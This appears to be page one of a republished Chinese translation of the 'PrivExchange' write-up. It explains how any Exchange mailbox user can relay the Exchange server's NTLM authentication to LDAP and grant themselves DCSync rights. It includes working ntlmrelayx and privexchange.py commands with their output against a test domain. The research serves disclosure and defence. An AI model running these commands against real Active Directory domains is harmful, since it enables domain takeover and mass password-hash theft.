欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

船新版本的Exchange Server提权漏洞分析

来源:本站整理 作者:佚名 时间:2019-01-25 TAG: 我要投稿

在多数使用Active Directory和Exchange的组织中,Exchange服务器通常具有很高的权限,Exchange服务器上的管理员可以升级为域管理员。最近我看了一份来自于ZDI的文章(CVE-2018-8581的技术细节及其利用方式),其中详细介绍了一种通过HTTP使用NTLM向攻击者进行交换身份验证的方法。但我认为漏洞的危害不止于此,我们还可以将其与NTLM中继攻击相结合,使得用户可以低权限(任意拥有邮箱的用户)提权到域管理员。在默认情况下,我见过使用Exchange的组织有90%都会受到该攻击的威胁,并且在我写下这篇文章的时候还没有相应的patch,暂时只能通过一些缓解措施来防止此权限升级。本文详细介绍了攻击方法,一些更具技术性的细节和相应的缓解措施,以及POC。我将本次攻击称为”PrivExchange”
 
通过新方式组合已知漏洞
本文将一些已知的漏洞和已知的协议弱点结合成一个新的攻击方法。一共有3个部分组合起来,可以从低权限提权(任意拥有邮箱的用户)到域管理员访问权限:
默认情况下,Exchange Server具有过高的权限
NTLM身份验证容易受到中继攻击
Exchange具有一项功能,可以使用Exchange服务器的计算机帐户对攻击者进行身份验证
 
一、交换和高权限
此处的主要漏洞是Exchange在Active Directory域中具有高权限。该Exchange Windows Permissions组可以以WriteDacl的权限来访问Active Directory中的Domain对象,该对象允许该组的任何成员修改域权限,其中包括执行DCSync操作的权限。具有此权限的用户或计算机可以执行域控制器通常用于复制的同步操作,这允许攻击者同步Active Directory中用户的所有哈希密码。一些研究人员已经介绍了这一点(参见本文末尾的参考文献部分),我去年与我的Fox-IT同事Rindert一起写过这篇文章。在那篇文章中,我还发布了对ntlmrelayx的更新(https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py), 这增加了在NTLM中继时执行这些基于访问控制列表(ACL)的攻击的可能性。
 
NTLM中继攻击
NTLM中继攻击并不是一种新的攻击手法。以前,我们主要关注的是通过SMB转发NTLM身份验证,以此来在其他主机上执行代码。但遗憾的是,大多数公司网络并未启用SMB签名,因此我们不能通过该方法进行攻击。但我们可以试试其他协议,其他协议也容易受到中继攻击。在我看来,最有意思的协议是LDAP,它可以用来读取和修改(Active)目录中的对象。你可以访问该链接复习一下NTLM中继攻击(https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/)。 简易的攻击流程是,在没有进行相关的配置来阻止攻击的情况下,我们可以通过Windows(或自动地)将攻击者的计算机连接到网络中的其他计算机时执行(自动)身份验证,如下图所示:

当身份验证进行到LDAP这一步时,可以修改目录中的对象来授予攻击者权限,包括DCSync操作所需的权限。
因此,如果我们可以让Exchange服务器通过NTLM身份验证向我们进行身份验证,我们就可以执行ACL攻击。注意,仅当受害者通过HTTP而不是通过SMB对我们进行身份验证时,才能中继到LDAP。(将在技术详解一节中详细阐述)
 
让Exchange进行身份验证
到目前为止,唯一缺少的部分是让Exchange对我们进行身份验证的简单方法。ZDI研究员发现可以通过Exchange PushSubscription功能使Exchange通过HTTP对任意URL进行身份验证。在他们的文章中(https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange) 他们使用此漏洞将NTLM身份验证中继回Exchange(这称为反射攻击)并冒充其他用户。如果我们将此与默认情况下Exchange具有的高权限相结合并执行中继攻击而不是反射攻击,我们可以使用这些权限为自己授予DCSync权限。推送通知服务有一个选项,即每隔X分钟发送一条消息(攻击者可以指定X),即使没有发生任何事件,即使收件箱中没有新来信,也可以确保Exchange连接到我们。
 
执行权限提升攻击
下面显示了上述攻击的示意图,显示了为升级权限而执行的步骤:

我们需要两个工具来执行攻击,privexchange.py(https://github.com/dirkjanm/privexchange/)和`ntlmrelayx`(https://github.com/SecureAuthCorp/impacket/)。 以域控制器上的LDAP作为目标,以中继模式启动ntlmrelayx,对攻击者所控制的ntu用户进行提权操作:
ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu
现在我们运行privexchange.py脚本:
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.
当与没有邮箱的用户一起运行时,我们将收到上述错误。我们再次尝试与有邮箱的用户:
user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful
一分钟后(我们所设定的值),我们看到ntlmrelayx的连接,它为我们的用户提供DCSync权限:

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载